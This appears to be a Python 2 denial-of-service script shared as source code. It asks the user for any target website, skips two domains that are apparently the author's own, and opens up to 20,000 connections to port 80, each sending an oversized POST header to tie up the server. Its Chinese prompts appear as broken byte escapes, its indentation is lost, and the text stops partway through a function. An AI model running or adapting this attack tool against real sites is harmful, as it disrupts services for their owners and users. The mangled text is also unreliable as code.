源码:
import socket
import time
import threading
import os
MAX_CONN = 20000
PORT = 80
HOST =raw_input('xe8xafxb7xe8xbex93xe5x85xa5xe6x94xbbxe5x87xbbxe7xbdx91xe7xabx99(xe4xb8x8dxe5xb8xa6http):')
if HOST == 'ziyia.cn':
print'xe4xb8x8dxe8x83xbdxe6x89x93xe9xb9x8fxe5x93xa5xe7x9ax84xe7xbdx91xe7xabx99'
os._exit(0)
elif HOST == 'ziyi.vsirs.com':
print'xe4xb8x8dxe8x83xbdxe6x89x93xe9xb9x8fxe5x93xa5xe7x9ax84xe7xbdx91xe7xabx99'
os._exit(0)
else:
PAGE = '/'
buf = 'POST %s HTTP/1.1
Host: %s
Content-Length: 10000000
Cookie: dklkt_dos_test
' % (
PAGE, HOST)
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(buf)
print'xe6xadxa3xe5x9cxa8xe6x94xbbxe5x87xbb!,xe6x88x90xe5x8ax9fxe6xacxa1xe6x95xb0=%d
' % i
socks.append(s)
except Exception as ex:
print'xe6x97xa0xe6xb3x95xe8xbfx9exe6x8exa5xefxbcx8cxe5xafxb9xe6x96xb9xe5x8fxafxe8x83xbdxe6x8cx82xe4xbax86 or send error:%s' % ex
time.sleep(10)
def send_thread():
while True: